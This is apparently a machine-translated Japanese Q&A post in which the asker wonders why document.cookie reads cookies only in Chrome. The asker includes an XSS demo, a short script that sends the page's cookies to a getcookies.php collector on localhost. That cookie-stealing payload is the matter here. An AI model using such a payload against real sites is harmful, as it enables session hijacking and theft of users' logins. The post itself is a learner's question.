JavaScriptを使用してCookieを読み取る必要があります。私は同じことを行うためにdocument.cookie
を使用しています。しかし、この方法はGoogle Chromeのみで動作し、FirefoxとIE 8/9では動作しません。すべてのWebページには、それを行う方法としてdocument.cookie
が表示されます。FirefoxとIEでCookieを読み取ることができません
FirefoxとIEでJavaScriptを使用してCookieを取得するにはどうすればよいですか?
おかげ
UPDATE 私はローカルホスト上で自分のコードをテストしました。 blogspot.comでコードをオンラインでテストしたところ、クロームでも機能しませんでした。
任意の方法、ここではHTMLのコードは次のとおりです。
<script type="text/javascript">
function sendCookies(){
document.location='http://localhost/xss/getcookies.php?cookie='+escape(document.cookie);
}
</script>
<a onclick="sendCookies()" href="#">
click here </a> to know about XSS attack.
ブラウザでdocument.cookie
をデバッグしながら、それが唯一のChromeで値を示しています。 localhostをオンラインリンクに置き換えると、document.cookie
はChrome上でも空になります。
あなたの考えは正しいです。これは、一種のクロスサイトスクリプティング攻撃です。
このコードの助けを借りて私に役立つでしょうか?
UPDATE 2:
はここでXSS攻撃を実行する方法を示したビデオへのリンクです:
'document.cookie' **は**それを行う方法です。うまくいかない場合は、読んでいるドキュメントや読んでいるクッキーの解釈に何か間違っている可能性があります。あなたは、あなたが持っているチュートリアルへのリンク、おそらく既に読んでいるチュートリアルへのリンクが役立つ、あなたの特定の問題に関する詳細情報を提供する必要があります。 – Quentin